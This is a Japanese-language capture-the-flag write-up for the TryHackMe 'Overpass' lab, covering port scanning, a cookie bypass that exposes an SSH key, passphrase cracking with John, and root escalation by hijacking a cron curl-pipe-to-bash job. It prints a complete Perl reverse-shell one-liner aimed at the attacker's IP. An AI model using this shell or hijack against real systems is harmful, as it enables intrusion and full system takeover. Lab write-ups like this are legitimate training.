🌐
TryHackMe: [overpass] write up
ROOM[overpass]
room info
url: https://tryhackme.com/room/overpass
os: linux
0. 準備
export RIP=攻撃先のIPをenvに出しとく
export LIP=VPN内での自分のIPをenvに出しとく
export LPORT=reverse shell用のport
1. nmap
nmap -sC -sV -oA overpass -Pn $RIP
結果
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
2. dirb
gobuster dir -u http://$RIP -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
/aboutus (Status: 301) [Size: 0] [--> aboutus/]
/admin (Status: 301) [Size: 42] [--> /admin/]
/css (Status: 301) [Size: 0] [--> css/]
/downloads (Status: 301) [Size: 0] [--> downloads/]
/img (Status: 301) [Size: 0] [--> img/]
/index.html (Status: 301) [Size: 0] [--> ./]
特に無し
3. walkthrough
login.jsがあるのを見つける
中身見たら、pasword合ってたらSessionTokenに何かしらの値が設定されるみたい
試しに適当な文字列を入れてadminページアクセスしたらなんかRSA鍵が表示される
firefoxでcookieいじるときには以下を使用
パスフレーズが設定されてたので解除
# id_rsa という名前で上記のRSA鍵を保存しておく
ssh2john id_rsa > hoge
john --wordlist=/usr/share/wordlists/rockyou.txt hoge
#=> james13 (id_rsa)
3. ユーザーシェル
ssh $RIP -l james -i id_rsa
4. Privileges Escalation
find / -user root -perm /4000 2>/dev/null
ではめぼしいもの見つからず
LinEnum.shを実行するとcronにcurlしてきたshをsudoで実行してる感じを発見
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
buildscript.sh
を探して直接編集しようと思ったけど無理だった
/etc/hosts
の書き換えが可能だったので overpass.thm
を向き先を$LIPに変更
/etc/hosts
xx.xx.xx.xx overpass.thm
適当な攻撃マシン側のディレクトリで
mkdir -p downloads/src/
touch downloads/src/buildscript.sh
downloads/src/buildscript.sh
perl -e 'use Socket;$i="ここにLIP";$p=ここにLPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
httpなので80ポートで待つ
※ mkdir -p downloads/src/
を実行したdirectoryでこのコマンドを実行する
python -m http.server 80
別のterminlを開いてreverse shellが来るのを待つ
nv -lvnp $LPORT
ちょっと待ってればroot shellが来て終わり。
Discussion